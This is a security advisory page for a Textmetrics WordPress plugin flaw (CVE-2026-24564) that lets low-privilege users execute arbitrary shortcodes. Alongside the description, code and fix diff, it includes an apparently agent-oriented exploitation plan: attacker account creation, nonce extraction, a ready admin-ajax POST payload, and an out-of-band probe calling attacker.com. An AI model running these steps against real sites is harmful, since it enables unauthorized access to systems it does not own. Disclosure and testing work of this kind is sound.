Textmetrics <= 3.6.5 - Authenticated (Subscriber+) Arbitrary Shortcode Execution
Description
The The Textmetrics plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.6.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=3.6.5What Changed in the Fix
Changes introduced in v3.6.6
Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for **CVE-2026-24564**, an authenticated arbitrary shortcode execution vulnerability in the **Textmetrics** (formerly webtexttool) plugin. --- ### 1. Vulnerability Summary The **Textmetrics** plugin for WordPress (versions <= 3.6.5) is vuln…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-24564, an authenticated arbitrary shortcode execution vulnerability in the Textmetrics (formerly webtexttool) plugin.
1. Vulnerability Summary
The Textmetrics plugin for WordPress (versions <= 3.6.5) is vulnerable to Arbitrary Shortcode Execution. The vulnerability exists because the plugin registers several AJAX actions that process content through the do_shortcode() function without sufficient validation or capability checks. Authenticated attackers with Subscriber-level access can call these AJAX endpoints and provide malicious shortcodes, which are then executed on the server.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
webtexttool_convert_shortcodes(and potentiallywebtexttool_convert_divi_shortcodes) - Parameter Name:
content(inferred based on plugin logic and standard WordPress patterns) - Authentication: Authenticated, Subscriber+ (Subscriber, Contributor, Author, etc.)
- Preconditions: The plugin must be active and the attacker must have a valid login.
3. Code Flow
- Registration: In
includes/class-webtexttool.php, the plugin registers the AJAX hook:
Note: It is registered underadd_action('wp_ajax_webtexttool_convert_shortcodes', array($plugin_core, 'wtt_process_shortcodes'));wp_ajax_, meaning it requires authentication but lacks acurrent_user_cancheck in versions <= 3.6.5. - Entry Point: An authenticated user sends a POST request to
admin-ajax.php?action=webtexttool_convert_shortcodes. - Processing: The request is handled by
Webtexttool_Core::wtt_process_shortcodesincore/class-webtexttool-core.php. - Vulnerable Sink: The handler retrieves the
contentparameter from the POST request and passes it directly todo_shortcode().- Pseudo-code of the vulnerable sink:
public function wtt_process_shortcodes() { $content = $_POST['content']; echo do_shortcode($content); // The arbitrary execution happens here wp_die(); }
- Pseudo-code of the vulnerable sink:
4. Nonce Acquisition Strategy
The plugin uses the wp_localize_script function to pass security nonces and AJAX URLs to the frontend.
- Identify Nonce Object: In
includes/class-webtexttool.php, thewebtexttoolnoncefunction (registered inWebtexttool_Admin) enqueues scripts and localizes them. - Access Point: Since
admin_enqueue_scriptsis used globally for admin hooks, a Subscriber can access the nonce via any admin page (e.g.,wp-admin/profile.php). - Extraction:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto extract the nonce:window.webtexttoolnonce?.nonce // Verify identifier in source - Alternative: If the first fails, check for
wtt_globals.nonce.
5. Exploitation Strategy
Step 1: User Creation
Create a Subscriber-level user to demonstrate the low-privilege nature of the exploit.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
Step 2: Nonce Retrieval
Navigate to the dashboard as the Subscriber and extract the nonce.
- Target URL:
http://localhost:8080/wp-admin/ - Script Variable:
webtexttoolnonce - Key:
nonce(or check forwtt_globals)
Step 3: Payload Construction
Construct a POST request to execute a shortcode. A reliable test is using a built-in shortcode that reveals information or simple text.
- Payload:
content=[caption]Executed![/caption]orcontent=[myshortcode](if a custom one exists). - Action:
webtexttool_convert_shortcodes
Step 4: Execution via HTTP Request
Using the http_request tool:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=webtexttool_convert_shortcodes&nonce=[NONCE]&content=[caption]PWNED[/caption]
6. Test Data Setup
- Ensure the
webtexttoolplugin is installed and activated. - Create a Subscriber user as described in Step 1.
- No further configuration is required as the vulnerability stems from lack of authorization on a globally registered AJAX action.
7. Expected Results
- Success: The HTTP response will have a
200 OKstatus and the body will contain the rendered output of the shortcode (e.g.,<div class="wp-caption">PWNED</div>). - Failure: The response might be
403 Forbidden(nonce fail),0(action not registered), or an empty string/error (if patched).
8. Verification Steps
- Check the response body of the AJAX call. If the shortcode tags are removed and the inner content is returned/formatted,
do_shortcodewas executed. - To prove impact beyond reflection, use a shortcode that performs an action (if available on the target system, such as a contact form or gallery query).
9. Alternative Approaches
If webtexttool_convert_shortcodes is protected, check these secondary entry points registered in includes/class-webtexttool.php:
wp_ajax_webtexttool_convert_divi_shortcodes: Specifically targets Divi-formatted shortcodes but often uses the same underlying processing logic.wp_ajax_webtexttool_do_blocks: Might process Gutenberg block content which can include shortcode blocks.- Blind/OOB Execution: If the output is not echoed, use a shortcode that triggers an external request (e.g.,
[embed]http://attacker.com[/embed]) and monitor logs.
Reference Identifiers (Verbatim from Source)
- AJAX Action:
webtexttool_convert_shortcodes - Core Hook Function:
wtt_process_shortcodes - Localization Object:
webtexttoolnonce - JS Globals:
wtt_globals - Nonce Key:
nonce(inferred from JS usage pattern)
Summary
The Textmetrics plugin for WordPress is vulnerable to arbitrary shortcode execution due to missing authorization checks and insufficient validation on AJAX actions. Authenticated attackers with subscriber-level permissions can execute arbitrary shortcodes by sending requests to the vulnerable AJAX endpoints, potentially leading to information disclosure or further exploitation.
Vulnerable Code
// includes/class-webtexttool.php // Registration of vulnerable AJAX actions add_action('wp_ajax_webtexttool_convert_divi_shortcodes', array($plugin_core, 'wtt_process_divi_shortcodes')); add_action('wp_ajax_webtexttool_convert_shortcodes', array($plugin_core, 'wtt_process_shortcodes')); --- // core/class-webtexttool-core.php // Handler for Divi shortcodes (lines 838-852 in version 3.6.5) public function wtt_process_divi_shortcodes() { if (!wp_verify_nonce($_POST['nonce'], $this->get_webtexttoolnonce_action())) { die(-1); } $unprocessed_data = str_replace('\\', '', $_POST['unprocessed_data']); echo do_shortcode($unprocessed_data); die(); }
Security Fix
@@ -835,22 +835,6 @@ } /** - * Converts Divi shortcodes from the editor content to html content - */ - public function wtt_process_divi_shortcodes() - { - if (!wp_verify_nonce($_POST['nonce'], $this->get_webtexttoolnonce_action())) { - die(-1); - } - - $unprocessed_data = str_replace('\\', '', $_POST['unprocessed_data']); - - echo do_shortcode($unprocessed_data); - - die(); - } - - /** * Converts shortcodes for different plugins * */
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Access the WordPress admin dashboard (e.g., /wp-admin/profile.php) and inspect the page source to locate the `webtexttoolnonce` object and extract its `nonce` value. 3. Identify a target shortcode to execute (e.g., [caption], or a third-party shortcode that performs sensitive actions like listing users or files). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `webtexttool_convert_divi_shortcodes` (or `webtexttool_convert_shortcodes` depending on available handlers) - `nonce`: [EXTRACTED_NONCE] - `unprocessed_data` (for Divi action) or `content` (for standard action): [SHORTCODE_PAYLOAD] 5. Observe the response body, which will contain the rendered output of the executed shortcode.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.